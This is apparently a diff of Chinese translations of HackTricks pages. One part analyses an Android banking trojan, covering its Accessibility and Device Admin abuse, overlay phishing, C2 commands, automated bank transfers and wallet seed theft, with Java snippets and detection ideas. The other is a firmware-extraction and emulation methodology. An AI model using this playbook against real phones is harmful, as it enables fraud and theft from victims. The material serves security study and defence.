Stage-2 打开一个 WebView,承载一个“Access”页面。其按钮调用一个导出的方法,将受害者导向 Accessibility 设置并请求启用该恶意服务。一旦启用,malware 利用 Accessibility 在后续运行时权限对话框(contacts、overlay、manage system settings 等)中自动点击并继续请求 Device Admin。
|
||||
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
|
||||
Stage-2 打开一个 WebView,承载一个 “Access” 页面。该页面的按钮调用一个 exported 方法,导航受害者到 Accessibility 设置并请求启用恶意服务。一旦获批,malware 使用 Accessibility 自动点击后续的 runtime 权限对话框(contacts、overlay、manage system settings 等),并请求 Device Admin。
|
||||
|
||||
- Accessibility 通过在节点树中查找类似 “Allow”/“OK” 的按钮并派发点击,编程式地帮助接受后续提示。
|
||||
- Accessibility 可通过在节点树中查找类似 “Allow”/“OK” 的按钮并派发点击,程序化地帮助接受后续提示。
|
||||
- Overlay 权限 检查/请求:
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
@ -268,21 +309,21 @@ ctx.startActivity(i);
|
||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Overlay phishing/ransom via WebView
|
||||
操作员可以下发命令来:
|
||||
- 从一个 URL 渲染全屏覆盖层,或
|
||||
- 传递内联 HTML 并将其加载到 WebView 覆盖层中。
|
||||
### 通过 WebView 的覆盖式钓鱼/勒索
|
||||
操作员可以发出命令以:
|
||||
- 从 URL 渲染全屏覆盖,或
|
||||
- 传递内联 HTML 并加载到 WebView 覆盖层中。
|
||||
|
||||
可能用途:胁迫(PIN 输入)、打开钱包以捕获 PINs、ransom messaging。若缺少 overlay permission,请保留一个命令以确保持有该权限。
|
||||
可能用途:胁迫(PIN 输入)、打开 wallet 以捕获 PIN、勒索消息。保留一个命令以在缺少时确保授予 overlay permission。
|
||||
|
||||
### Remote control model – text pseudo-screen + screen-cast
|
||||
- Low-bandwidth:定期导出 Accessibility 节点树,序列化可见文本/角色/边界并作为伪屏幕发送到 C2(命令示例:`txt_screen` 一次性,`screen_live` 持续)。
|
||||
- High-fidelity:请求 MediaProjection 并按需开始 screen-casting/录制(命令示例:`display` / `record`)。
|
||||
### 远程控制模型 – 文本伪屏 + screen-cast
|
||||
- 低带宽:周期性地导出 Accessibility node tree,序列化可见文本/角色/边界,并作为伪屏发送到 C2(命令如 `txt_screen` 一次性,`screen_live` 持续)。
|
||||
- 高保真:请求 MediaProjection 并按需开始 screen-casting/recording(命令如 `display` / `record`)。
|
||||
|
||||
### ATS playbook (bank app automation)
|
||||
给定一个 JSON 任务,打开银行应用,通过 Accessibility 驱动 UI,混合使用文本查询和坐标点击,并在提示时输入受害者的支付 PIN。
|
||||
给定一个 JSON 任务,打开银行应用,通过 Accessibility 驱动 UI,混合文本查询和坐标点击,并在提示时输入受害者的付款 PIN。
|
||||
|
||||
示例任务:
|
||||
示例任务:
|
||||
```json
|
||||
{
|
||||
"cmd": "transfer",
|
||||
@ -292,68 +333,65 @@ ctx.startActivity(i);
|
||||
"name": "ACME"
|
||||
}
|
||||
```
|
||||
Example texts seen in one target flow (CZ → EN):
|
||||
在一个目标流程中看到的示例文本 (CZ → EN):
|
||||
- "Nová platba" → "新付款"
|
||||
- "Zadat platbu" → "输入付款"
|
||||
- "Nový příjemce" → "新收款人"
|
||||
- "Nový příjemce" → "新增收款人"
|
||||
- "Domácí číslo účtu" → "国内账户号码"
|
||||
- "Další" → "下一步"
|
||||
- "Odeslat" → "发送"
|
||||
- "Ano, pokračovat" → "是,继续"
|
||||
- "Zaplatit" → "支付"
|
||||
- "Zaplatit" → "付款"
|
||||
- "Hotovo" → "完成"
|
||||
|
||||
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
|
||||
操作员还可以通过类似 `check_limit` 和 `limit` 的命令检查/提高转账限额,这些命令以类似方式导航限额 UI。
|
||||
运营者还可以通过像 `check_limit` 和 `limit` 这样的命令检查/提高转账限额,这些命令以类似方式导航限额 UI。
|
||||
|
||||
### Crypto wallet seed extraction
|
||||
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
|
||||
目标包括 MetaMask、Trust Wallet、Blockchain.com、Phantom。流程:解锁(被窃取的 PIN 或提供的密码),导航到 Security/Recovery,显示助记词,keylog/exfiltrate 助记词。实现支持不同语言的选择器(EN/RU/CZ/SK),以在多语言间稳定导航。
|
||||
|
||||
### Device Admin coercion
|
||||
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
|
||||
Device Admin APIs 被用来增加捕获 PIN 的机会并使受害者感到沮丧:
|
||||
- Immediate lock:
|
||||
|
||||
- 立即锁定:
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- 使当前凭证过期以强制更改(辅助功能会捕获新的 PIN/密码):
|
||||
- 使当前凭证过期以强制更改(无障碍功能捕获新的 PIN/密码):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- 通过禁用 keyguard 的生物识别功能强制使用非生物识别解锁:
|
||||
- 通过禁用 keyguard 的生物识别功能来强制使用非生物识别解锁:
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
注意:许多 DevicePolicyManager 控制在近期的 Android 上需要 Device Owner/Profile Owner;某些 OEM 构建可能比较宽松。始终在目标 OS/OEM 上进行验证。
|
||||
注:许多 DevicePolicyManager 控件在新版本 Android 上需要 Device Owner/Profile Owner;一些 OEM 构建可能宽松。始终在目标 OS/OEM 上验证。
|
||||
|
||||
### NFC relay orchestration (NFSkate)
|
||||
Stage-3 可以安装并启动外部 NFC-relay 模块(例如 NFSkate),甚至向其传递一个 HTML 模板以在中继过程中引导受害者。这使得无接触的 card-present 现金提取与在线 ATS 并行成为可能。
|
||||
Stage-3 可以安装并启动外部 NFC-relay 模块(例如 NFSkate),甚至将一个 HTML 模板传递给它以在中继过程中引导受害者。这可以在在线 ATS 的同时实现无接触的实体卡当面 cash-out。
|
||||
|
||||
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Operator command set (sample)
|
||||
- UI/状态: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- 社交: `send_push`, `Facebook`, `WhatsApp`
|
||||
- 覆盖层: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- 钱包: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- ATS: `transfer`, `check_limit`, `limit`
|
||||
- 设备: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- 通信/侦察: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### Detection & defence ideas (RatOn-style)
|
||||
- 搜索在 WebViews 中使用 `addJavascriptInterface()` 并暴露 installer/permission 方法的情况;以及那些以 “/access” 结尾并触发 Accessibility 提示的页面。
|
||||
- 对被授予服务访问不久后生成高频率 Accessibility 手势/点击的应用发出告警;对发送到 C2 的类似 Accessibility 节点转储的遥测数据发出告警。
|
||||
- 搜索使用 `addJavascriptInterface()` 的 WebViews,这些接口暴露 installer/permission 方法;以及以 “/access” 结尾并触发 Accessibility 提示的页面。
|
||||
- 对在被授予 service 访问后短时间内生成高频率 Accessibility 手势/点击的应用发出警报;对像发送到 C2 的 Accessibility 节点转储一样的遥测进行告警。
|
||||
- 监控不受信任应用中的 Device Admin 策略更改:`lockNow`、密码过期、keyguard 功能切换等。
|
||||
- 对来自非企业应用的 MediaProjection 提示,随后伴随周期性帧上传的行为发出告警。
|
||||
- 检测被某个应用触发而安装/启动外部 NFC-relay 应用的情况。
|
||||
- 对银行业务:强制执行带外确认、绑定生物识别、以及对抗设备上自动化的交易限额机制。
|
||||
- 对来自非企业应用的 MediaProjection 提示后随之周期性帧上传的情况发出警报。
|
||||
- 检测由某个应用触发、安装或启动外部 NFC-relay 应用的行为。
|
||||
- 针对银行业务:强制实施带外确认、绑定生物识别以及对抗设备上自动化的交易限额限制。
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
@ -361,5 +399,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
|
||||
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
|
||||
- [Socket.IO](https://socket.io)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,50 +2,56 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **介绍**
|
||||
## **简介**
|
||||
|
||||
### 相关资源
|
||||
|
||||
|
||||
{{#ref}}
|
||||
synology-encrypted-archive-decryption.md
|
||||
{{#endref}}
|
||||
|
||||
固件是使设备正常运行的基本软件,通过管理和促进硬件组件与用户交互的软件之间的通信。它存储在永久内存中,确保设备在开机时能够访问重要指令,从而启动操作系统。检查和可能修改固件是识别安全漏洞的关键步骤。
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||
{{#endref}}
|
||||
|
||||
## **收集信息**
|
||||
|
||||
**收集信息**是理解设备构成及其使用技术的关键初步步骤。此过程涉及收集以下数据:
|
||||
固件是使设备能够正确运行的关键软件,负责管理并促进硬件组件与用户交互的软件之间的通信。它存储在永久存储器中,确保设备通电时即可访问重要指令,从而启动操作系统。检查并可能修改固件是识别安全漏洞的重要步骤。
|
||||
|
||||
- CPU架构和运行的操作系统
|
||||
- 引导加载程序的具体信息
|
||||
- 硬件布局和数据表
|
||||
- 代码库指标和源位置
|
||||
- 外部库和许可证类型
|
||||
## **信息收集**
|
||||
|
||||
**信息收集** 是了解设备构成和所用技术的关键初始步骤。此过程包括收集有关以下内容的数据:
|
||||
|
||||
- CPU 架构及其运行的操作系统
|
||||
- bootloader 具体信息
|
||||
- 硬件布局和数据手册
|
||||
- 代码库指标和源代码位置
|
||||
- 外部库和许可类型
|
||||
- 更新历史和监管认证
|
||||
- 架构和流程图
|
||||
- 安全评估和已识别的漏洞
|
||||
|
||||
为此,**开源情报(OSINT)**工具是不可或缺的,同时对任何可用的开源软件组件进行手动和自动审查也是非常重要的。像[Coverity Scan](https://scan.coverity.com)和[Semmle’s LGTM](https://lgtm.com/#explore)这样的工具提供免费的静态分析,可以用来发现潜在问题。
|
||||
为此,**open-source intelligence (OSINT)** 工具非常有价值,同时对任何可用的开源软件组件进行人工和自动化审查也同样重要。像 [Coverity Scan](https://scan.coverity.com) 和 [Semmle’s LGTM](https://lgtm.com/#explore) 这样的工具提供免费静态分析,可用于发现潜在问题。
|
||||
|
||||
## **获取固件**
|
||||
|
||||
获取固件可以通过多种方式进行,每种方式的复杂程度不同:
|
||||
获取固件可以通过多种方式进行,每种方式都有不同的复杂度:
|
||||
|
||||
- **直接**从源头(开发者、制造商)
|
||||
- **根据**提供的说明进行**构建**
|
||||
- **从**官方支持网站**下载**
|
||||
- 利用**Google dork**查询查找托管的固件文件
|
||||
- 直接访问**云存储**,使用像[S3Scanner](https://github.com/sa7mon/S3Scanner)这样的工具
|
||||
- 通过中间人技术**拦截**更新
|
||||
- 通过**UART**、**JTAG**或**PICit**等连接**提取**设备中的固件
|
||||
- 在设备通信中**嗅探**更新请求
|
||||
- 识别并使用**硬编码的更新端点**
|
||||
- 从引导加载程序或网络**转储**
|
||||
- 在万不得已时,使用适当的硬件工具**拆卸并读取**存储芯片
|
||||
- **Directly** 来自来源(开发者、制造商)
|
||||
- **Building** 根据提供的说明构建
|
||||
- **Downloading** 从官方支持站点下载
|
||||
- 使用 **Google dork** 查询查找托管的固件文件
|
||||
- 直接访问 **cloud storage**,使用像 [S3Scanner](https://github.com/sa7mon/S3Scanner) 这样的工具
|
||||
- 通过 **man-in-the-middle** 技术拦截 **updates**
|
||||
- 通过 UART、JTAG 或 PICit 等连接 **Extracting** 出设备中的固件
|
||||
- 在设备通信中 **Sniffing** 更新请求
|
||||
- 识别并使用 **hardcoded update endpoints**
|
||||
- 从 bootloader 或网络 **Dumping**
|
||||
- 当其他方法均失败时,使用适当的硬件工具 **Removing and reading** 存储芯片
|
||||
|
||||
## 分析固件
|
||||
|
||||
现在你**拥有固件**,你需要提取有关它的信息,以了解如何处理它。你可以使用的不同工具包括:
|
||||
现在你 **have the firmware**,需要从中提取信息以决定如何处理它。可以使用的不同工具包括:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
如果你使用这些工具没有找到太多信息,可以使用 `binwalk -E <bin>` 检查图像的 **entropy**,如果熵低,那么它不太可能被加密。如果熵高,则很可能被加密(或以某种方式压缩)。
|
||||
如果用那些工具找不到太多内容,可以用 `binwalk -E <bin>` 检查镜像的**熵(entropy)**:熵低则不太可能被加密;熵高则很可能被加密(或以某种方式被压缩)。
|
||||
|
||||
此外,你可以使用这些工具来提取固件中嵌入的**文件**:
|
||||
|
||||
此外,你可以使用这些工具提取 **嵌入固件中的文件**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
或者 [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) 来检查文件。
|
||||
或者使用 [**binvis.io**](https://binvis.io/#/)([code](https://code.google.com/archive/p/binvis/))来检查文件。
|
||||
|
||||
### 获取文件系统
|
||||
### Getting the Filesystem
|
||||
|
||||
使用之前提到的工具,如 `binwalk -ev <bin>`,你应该能够 **提取文件系统**。\
|
||||
Binwalk 通常会将其提取到一个 **以文件系统类型命名的文件夹** 中,通常是以下之一:squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs。
|
||||
使用前面提到的工具,例如 `binwalk -ev <bin>`,你应该能够**提取文件系统**。\
|
||||
Binwalk 通常会将其解压到一个以文件系统类型命名的**文件夹**中,该类型通常为以下之一:squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs。
|
||||
|
||||
#### 手动文件系统提取
|
||||
#### Manual Filesystem Extraction
|
||||
|
||||
有时,binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下,使用 binwalk **查找文件系统的偏移量并从二进制文件中切割压缩的文件系统**,并根据其类型使用以下步骤 **手动提取** 文件系统。
|
||||
有时,binwalk 的签名中**不包含文件系统的魔数(magic byte)**。在这种情况下,使用 binwalk 查找文件系统的偏移量,并从二进制中**切出(carve)被压缩的文件系统**,然后根据其类型**手动提取**文件系统,按下面的步骤操作。
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
运行以下 **dd 命令** 切割 Squashfs 文件系统。
|
||||
运行以下 **dd command** 来对 Squashfs filesystem 进行 carving。
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
@ -93,7 +100,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
另外,可以运行以下命令。
|
||||
或者,也可以运行以下命令。
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
@ -101,7 +108,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
文件将随后位于 "`squashfs-root`" 目录中。
|
||||
文件随后将位于 "`squashfs-root`" 目录中。
|
||||
|
||||
- CPIO 存档文件
|
||||
|
||||
@ -111,19 +118,19 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- 对于带 NAND 闪存的 ubifs 文件系统
|
||||
- 对于带有 NAND flash 的 ubifs 文件系统
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## 分析固件
|
||||
## 固件分析
|
||||
|
||||
一旦获得固件,拆解它以理解其结构和潜在漏洞是至关重要的。此过程涉及利用各种工具分析和提取固件映像中的有价值数据。
|
||||
一旦获取到固件,就必须将其拆解以了解其结构和潜在漏洞。此过程涉及使用各种工具来分析并从固件镜像中提取有价值的数据。
|
||||
|
||||
### 初步分析工具
|
||||
|
||||
提供了一组命令用于初步检查二进制文件(称为 `<bin>`)。这些命令有助于识别文件类型、提取字符串、分析二进制数据以及理解分区和文件系统的细节:
|
||||
下面提供了一组用于初步检查二进制文件(称为 `<bin>`)的命令。这些命令有助于识别文件类型、提取字符串、分析二进制数据,以及了解分区和文件系统的详细信息:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -132,53 +139,53 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
为了评估图像的加密状态,使用 `binwalk -E <bin>` 检查 **entropy**。低熵表明缺乏加密,而高熵则表示可能存在加密或压缩。
|
||||
要评估镜像的加密状态,使用 `binwalk -E <bin>` 检查 **entropy**。低 entropy 表明可能未加密,而高 entropy 则表示可能已加密或已压缩。
|
||||
|
||||
对于提取 **embedded files**,推荐使用 **file-data-carving-recovery-tools** 文档和 **binvis.io** 进行文件检查的工具和资源。
|
||||
要提取 **embedded files**,建议使用像 **file-data-carving-recovery-tools** 文档和用于文件检查的 **binvis.io** 等工具和资源。
|
||||
|
||||
### 提取文件系统
|
||||
|
||||
使用 `binwalk -ev <bin>`,通常可以提取文件系统,通常提取到一个以文件系统类型命名的目录中(例如,squashfs,ubifs)。然而,当 **binwalk** 由于缺少魔术字节而无法识别文件系统类型时,需要手动提取。这涉及使用 `binwalk` 定位文件系统的偏移量,然后使用 `dd` 命令提取文件系统:
|
||||
使用 `binwalk -ev <bin>` 通常可以提取文件系统,通常会将其解压到以文件系统类型命名的目录(例如 squashfs、ubifs)。然而,当 **binwalk** 因缺少 magic bytes 而无法识别文件系统类型时,就需要手动提取。此过程包括使用 `binwalk` 定位文件系统的偏移量,然后使用 `dd` 命令提取出文件系统:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
之后,根据文件系统类型(例如,squashfs、cpio、jffs2、ubifs),使用不同的命令手动提取内容。
|
||||
之后,根据文件系统类型(例如 squashfs、cpio、jffs2、ubifs),会使用不同的命令手动提取内容。
|
||||
|
||||
### 文件系统分析
|
||||
|
||||
提取文件系统后,开始寻找安全漏洞。重点关注不安全的网络守护进程、硬编码的凭据、API 端点、更新服务器功能、未编译的代码、启动脚本和编译的二进制文件以进行离线分析。
|
||||
在提取文件系统后,就开始寻找安全漏洞。重点关注不安全的网络守护进程、硬编码凭证、API 端点、更新服务器功能、未编译的代码、启动脚本以及用于离线分析的已编译二进制文件。
|
||||
|
||||
**关键位置**和**项目**检查包括:
|
||||
**关键位置** 和 **要检查的项目** 包括:
|
||||
|
||||
- **etc/shadow** 和 **etc/passwd** 中的用户凭据
|
||||
- **etc/shadow** 和 **etc/passwd**(用于用户凭证)
|
||||
- **etc/ssl** 中的 SSL 证书和密钥
|
||||
- 配置和脚本文件中的潜在漏洞
|
||||
- 嵌入的二进制文件以进行进一步分析
|
||||
- 常见 IoT 设备的网络服务器和二进制文件
|
||||
- 用于查找潜在漏洞的配置和脚本文件
|
||||
- 用于进一步分析的嵌入二进制文件
|
||||
- 常见 IoT 设备的 web 服务器和二进制文件
|
||||
|
||||
多个工具有助于揭示文件系统中的敏感信息和漏洞:
|
||||
有若干工具可以帮助在文件系统中发现敏感信息和漏洞:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 和 [**Firmwalker**](https://github.com/craigz28/firmwalker) 用于敏感信息搜索
|
||||
- [**固件分析和比较工具 (FACT)**](https://github.com/fkie-cad/FACT_core) 用于全面的固件分析
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) 和 [**EMBA**](https://github.com/e-m-b-a/emba) 用于静态和动态分析
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) and [**Firmwalker**](https://github.com/craigz28/firmwalker) for sensitive information search
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) for comprehensive firmware analysis
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), and [**EMBA**](https://github.com/e-m-b-a/emba) for static and dynamic analysis
|
||||
|
||||
### 对编译二进制文件的安全检查
|
||||
### 已编译二进制文件的安全检查
|
||||
|
||||
必须仔细检查文件系统中发现的源代码和编译的二进制文件以寻找漏洞。像 **checksec.sh** 这样的工具用于 Unix 二进制文件,**PESecurity** 用于 Windows 二进制文件,帮助识别可能被利用的未保护二进制文件。
|
||||
必须对在文件系统中发现的源代码和已编译二进制文件进行漏洞审查。像 **checksec.sh**(用于 Unix 二进制)和 **PESecurity**(用于 Windows 二进制)这样的工具可以帮助识别可能被利用的未受保护二进制。
|
||||
|
||||
## 模拟固件进行动态分析
|
||||
## 仿真固件以进行 dynamic analysis
|
||||
|
||||
模拟固件的过程使得能够对设备的操作或单个程序进行**动态分析**。这种方法可能会遇到硬件或架构依赖性的问题,但将根文件系统或特定二进制文件转移到具有匹配架构和字节序的设备(如 Raspberry Pi)或预构建的虚拟机上,可以促进进一步的测试。
|
||||
通过仿真固件可以对设备的运行或单个程序进行 **dynamic analysis**。该方法可能会遇到硬件或架构依赖的问题,但将 root filesystem 或特定二进制文件转移到具有匹配架构和字节序(endianness)的设备(例如 Raspberry Pi)或预构建的虚拟机上,可以促进进一步测试。
|
||||
|
||||
### 模拟单个二进制文件
|
||||
### 仿真单个二进制文件
|
||||
|
||||
在检查单个程序时,识别程序的字节序和 CPU 架构至关重要。
|
||||
在检查单个程序时,确定程序的字节序(endianness)和 CPU 架构至关重要。
|
||||
|
||||
#### MIPS 架构示例
|
||||
|
||||
要模拟 MIPS 架构的二进制文件,可以使用以下命令:
|
||||
要仿真一个 MIPS 架构的二进制文件,可以使用以下命令:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
@ -186,87 +193,87 @@ file ./squashfs-root/bin/busybox
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
对于 MIPS(大端),使用 `qemu-mips`,而对于小端二进制文件,选择 `qemu-mipsel`。
|
||||
对于 MIPS(大端),使用 `qemu-mips`;对于小端二进制,使用 `qemu-mipsel`。
|
||||
|
||||
#### ARM 架构仿真
|
||||
#### ARM Architecture Emulation
|
||||
|
||||
对于 ARM 二进制文件,过程类似,使用 `qemu-arm` 模拟器进行仿真。
|
||||
对于 ARM 二进制,过程类似,使用 `qemu-arm` 进行仿真。
|
||||
|
||||
### 完整系统仿真
|
||||
### Full System Emulation
|
||||
|
||||
像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具,促进完整固件仿真,自动化过程并帮助进行动态分析。
|
||||
像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具可以简化完整系统固件仿真,自动化流程并辅助动态分析。
|
||||
|
||||
## 实践中的动态分析
|
||||
## Dynamic Analysis in Practice
|
||||
|
||||
在这个阶段,使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问是至关重要的。仿真可能无法完美模拟硬件交互,因此需要偶尔重启仿真。分析应重新访问文件系统,利用暴露的网页和网络服务,并探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
|
||||
在此阶段,可使用真实设备或仿真环境进行分析。保持对操作系统和文件系统的 shell 访问至关重要。仿真可能无法完全模拟硬件交互,因此有时需要重启仿真。分析应反复检查文件系统、利用暴露的网页和网络服务,并探索 bootloader 漏洞。固件完整性检测对于发现潜在后门漏洞非常关键。
|
||||
|
||||
## 运行时分析技术
|
||||
## Runtime Analysis Techniques
|
||||
|
||||
运行时分析涉及在其操作环境中与进程或二进制文件交互,使用工具如 gdb-multiarch、Frida 和 Ghidra 设置断点,并通过模糊测试和其他技术识别漏洞。
|
||||
运行时分析涉及在目标运行环境中与进程或二进制交互,使用诸如 gdb-multiarch、Frida 和 Ghidra 的工具设置断点,并通过 fuzzing 等技术识别漏洞。
|
||||
|
||||
## 二进制利用和概念验证
|
||||
## Binary Exploitation and Proof-of-Concept
|
||||
|
||||
为识别的漏洞开发 PoC 需要对目标架构的深入理解以及使用低级语言编程。嵌入式系统中的二进制运行时保护很少见,但在存在时,可能需要使用如返回导向编程(ROP)等技术。
|
||||
为已识别的漏洞开发 PoC 需要深入理解目标架构并使用低级语言编程。嵌入式系统中的二进制运行时保护较少见,但如果存在,可能需要使用像 Return Oriented Programming (ROP) 这样的技术。
|
||||
|
||||
## 准备好的操作系统用于固件分析
|
||||
## Prepared Operating Systems for Firmware Analysis
|
||||
|
||||
像 [AttifyOS](https://github.com/adi0x90/attifyos) 和 [EmbedOS](https://github.com/scriptingxss/EmbedOS) 这样的操作系统提供了预配置的固件安全测试环境,配备必要的工具。
|
||||
像 [AttifyOS](https://github.com/adi0x90/attifyos) 和 [EmbedOS](https://github.com/scriptingxss/EmbedOS) 这样的操作系统提供预配置的固件安全测试环境,内置所需工具。
|
||||
|
||||
## 准备好的操作系统分析固件
|
||||
## Prepared OSs to analyze Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos):AttifyOS 是一个旨在帮助您对物联网(IoT)设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境,加载所有必要工具,节省了您大量时间。
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS):基于 Ubuntu 18.04 的嵌入式安全测试操作系统,预装固件安全测试工具。
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS 是一个旨在帮助你对 Internet of Things (IoT) 设备进行安全评估和 penetration testing 的发行版。它通过提供预配置环境和所有必要工具,节省大量时间。
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): 基于 Ubuntu 18.04 的嵌入式安全测试操作系统,预装了固件安全测试工具。
|
||||
|
||||
## 固件降级攻击与不安全的更新机制
|
||||
## Firmware Downgrade Attacks & Insecure Update Mechanisms
|
||||
|
||||
